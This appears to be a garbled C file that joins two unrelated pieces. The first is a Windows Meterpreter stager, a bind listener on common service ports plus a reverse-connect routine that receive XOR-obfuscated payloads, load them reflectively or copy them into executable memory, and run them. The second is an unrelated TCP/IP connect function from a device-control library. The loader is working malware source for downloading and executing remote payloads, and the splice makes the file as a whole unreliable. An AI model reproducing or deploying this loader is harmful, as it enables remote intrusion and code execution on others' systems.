/*
http://www.tenouk.com/Winsock/Winsock2example2.html
http://cs.baylor.edu/~donahoo/practical/CSockets/winsock.html
*/
int CALLBACK WinMain(_In_  HINSTANCE hInstance,_In_  HINSTANCE hPrevInstance,_In_  LPSTR lpCmdLine,_In_  int nCmdShow){
	SOCKET ListenSocket;
	struct sockaddr_in service;
	SOCKET AcceptSocket;
	DWORD  threadid;
	int ports[] = {3389,53,88,389,80,443,21,22,23,3306,8080,8443,137,138,139,445};
	int i = 0;

	initwsa();
	ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (ListenSocket == INVALID_SOCKET){
		exit(0);
	}

	
	service.sin_family = AF_INET;
	service.sin_addr.s_addr = inet_addr("0.0.0.0");
	for(i=0;i<(sizeof(ports)/sizeof(ports[0]));i++){
	
		service.sin_port = htons(ports[i]);

		if (bind(ListenSocket, (SOCKADDR*) &service, sizeof(service)) == SOCKET_ERROR){
			exit(0);
		}

		if (listen(ListenSocket, 10) == SOCKET_ERROR){
			exit(0);
		}
		break;
	}

	
	while(1){
		AcceptSocket = SOCKET_ERROR;
		while(AcceptSocket == SOCKET_ERROR){
			AcceptSocket = accept(ListenSocket, NULL, NULL);
		}
		
		CreateThread(NULL,0,handleclient,(LPVOID)AcceptSocket,0,&threadid);
	  }
	return 0;
}
/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms682516(v=vs.85).aspx
read port:ip
Receive stage
set socket in EDI
execute payload
*/
DWORD WINAPI threadexec(LPVOID exename){
	SOCKET meterpretersock;
	int response = 0;
	int total = 0;
	unsigned char *payload;
	char recvbuf[1024];
	DWORD payloadlength = 0;
	HMODULE loadedfile = NULL;

	if (initwsa() != 0){
		exit(0);
	}

	meterpretersock = getsocket((char *)exename);
	response = recv(meterpretersock, (char *)&payloadlength, sizeof(DWORD), 0);

	payload = (unsigned char *)VirtualAlloc(NULL, payloadlength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memset(payload, 0, payloadlength);
	memset(recvbuf, 0, 1024);

	do{
		response = recv(meterpretersock, recvbuf, 1024, 0);
		if (USEXOR){
			xor(&recvbuf[0], response);
		}
		memcpy(payload, recvbuf, response);
		payload += response;
		total += response;
		payloadlength -= response;

	} while (payloadlength > 0);
	payload -= total;

	__asm{
		mov edi,meterpretersock
	}

	int(*ret)() = (int(*)())payload;
	ret();
}
DWORD WINAPI handleclient(LPVOID clientsocket){
	int response = 0;
	int total = 0;
	char *payload;
	char recvbuf[1024];
	DWORD payloadlength = 0;
	HMODULE loadedfile = NULL;

	if(initwsa() != 0){
		exit(0);
	}

	response = recv((int)clientsocket, (char *)&payloadlength, sizeof(DWORD), 0);

	payload = (char *)malloc(payloadlength);
	memset(payload,0,payloadlength);
	memset(recvbuf,0,1024);

	do{
		response = recv((int)clientsocket, recvbuf, 1024, 0);
		if(USEXOR){
			xor(&recvbuf[0],response);
		}
		memcpy(payload,recvbuf,response);
		payload += response;
		total += response;
		payloadlength -= response;
		
	}while(payloadlength > 0);
	payload -= total;
	loadedfile = LoadLibraryR(payload,total);
	meterpreterstart = (MyInit) GetProcAddressR(loadedfile,"Init");
	meterpreterstart((int)clientsocket);
	
	free(payload);
}
smBusdevicePointer tcpipPortOpen(const char * devicename, smint32 baudrate_bps, smbool *success)
{
    int sockfd;
    struct sockaddr_in server;
    struct timeval tv;
    fd_set myset;
    int res, valopt;
    socklen_t lon;
    unsigned long arg;

    *success=smfalse;

    if (validateIpAddress(devicename, NULL, NULL) != 0)
    {
        smDebug(-1,SMDebugLow,"TCP/IP: device name '%s' does not appear to be IP address, skipping TCP/IP open attempt (note: this is normal if opening a non-TCP/IP port)\n",devicename);
        return SMBUSDEVICE_RETURN_ON_OPEN_FAIL;
    }

    char ip_addr[16];
    unsigned short port = 4001;
    if (parseIpAddress(devicename, ip_addr, &port) < 0)
    {
        smDebug(-1,SMDebugLow,"TCP/IP: IP address parse failed\n");
        return SMBUSDEVICE_RETURN_ON_OPEN_FAIL;
    }


    if(baudrate_bps!=SM_BAUDRATE)
    {
        smDebug(-1,SMDebugLow,"TCP/IP: Non-default baudrate not supported by TCP/IP protocol\n");
        return SMBUSDEVICE_RETURN_ON_OPEN_FAIL;
    }

    smDebug(-1,SMDebugLow,"TCP/IP: Attempting to connect to %s:%d\n",ip_addr,port);

#if defined(_WIN32)
    initwsa();
#endif

    //Create socket
    sockfd = socket(AF_INET , SOCK_STREAM , IPPROTO_TCP);
    if (sockfd == -1)
    {
        smDebug(-1,SMDebugLow,"TCP/IP: Socket open failed\n");
        return SMBUSDEVICE_RETURN_ON_OPEN_FAIL;
    }

    // Set OFF NAGLE algorithm to disable stack buffering of small packets
    int one = 1;
    setsockopt(sockfd, IPPROTO_TCP, TCP_NODELAY, (void *)&one, sizeof(one));

    server.sin_addr.s_addr = inet_addr(ip_addr);
    server.sin_family = AF_INET;
    server.sin_port = htons(port);

    // Set non-blocking when trying to establish the connection
#if !defined(_WIN32)
    arg = fcntl(sockfd, F_GETFL, NULL);
    arg |= O_NONBLOCK;
    fcntl(sockfd, F_SETFL, arg);
#else
    arg = 1;
    ioctlsocket(sockfd, FIONBIO, &arg);
#endif

    res = connect(sockfd, (struct sockaddr *)&server, sizeof(server));

    if (res < 0)
    {
        if (errno == EINPROGRESS)
        {
            tv.tv_sec = 5;
            tv.tv_usec = 0;
            FD_ZERO(&myset);
            FD_SET((unsigned int)sockfd, &myset);
            if (select(sockfd+1, NULL, &myset, NULL, &tv) > 0)
            {
                lon = sizeof(int);
                getsockopt(sockfd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
                if (valopt)
                {
                    smDebug(-1,SMDebugLow,"TCP/IP: Setting socket properties failed\n");
                    return SMBUSDEVICE_RETURN_ON_OPEN_FAIL;
                }
            }
            else
            {
               smDebug(-1,SMDebugLow,"TCP/IP: Setting socket properties failed\n");
               return SMBUSDEVICE_RETURN_ON_OPEN_FAIL;
            }
        }
        else
        {
            smDebug(-1,SMDebugLow,"TCP/IP: Connecting socket failed\n");
            return SMBUSDEVICE_RETURN_ON_OPEN_FAIL;
        }
    }

    // Set to blocking mode again
#if !defined(_WIN32)
    arg = fcntl(sockfd, F_GETFL, NULL);
    arg &= (~O_NONBLOCK);
    fcntl(sockfd, F_SETFL, arg);
#else
    arg = 0;
    ioctlsocket(sockfd, FIONBIO, &arg);
#endif

    *success=smtrue;
    return (smBusdevicePointer)sockfd;
}